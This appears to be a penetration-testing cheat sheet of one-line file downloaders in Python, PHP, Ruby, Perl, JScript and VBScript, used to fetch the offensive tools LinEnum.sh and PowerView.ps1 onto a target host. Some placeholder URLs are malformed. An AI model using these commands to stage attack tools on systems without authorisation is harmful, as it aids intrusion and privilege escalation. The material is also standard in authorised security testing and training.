Downloading Files
It contains scripts in different programming languages to download a file.
Python
# python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https:URL/LinEnum.sh", "LinEnum.sh")'
# python2
python2.7 -c 'import urllib;urllib.urlretrieve ("https:/URL/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP
# PHP Download with File_get_contents()
php -r '$file = file_get_contents("<https://URL/LinEnum.sh>"); file_put_contents("LinEnum.sh",$file);'
# PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("<https://URL/LinEnum.sh>", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("<https://URLLinEnum.sh>")))'
Perl
perl -e 'use LWP::Simple; getstore("<https://URL/LinEnum.sh>", "LinEnum.sh");'
Javascript
# create a wget.js file to download file in windows
---
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
---
# run the scipt using
C:\> cscript.exe /nologo wget.js <https://URL/PowerView.ps1> PowerView.ps1
VBScript
# create a file wget.vbs to download a file in windows
---
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
---
# run the script
C:\> cscript.exe /nologo wget.vbs <https://URL/PowerView.ps1> PowerView2.ps1
Last updated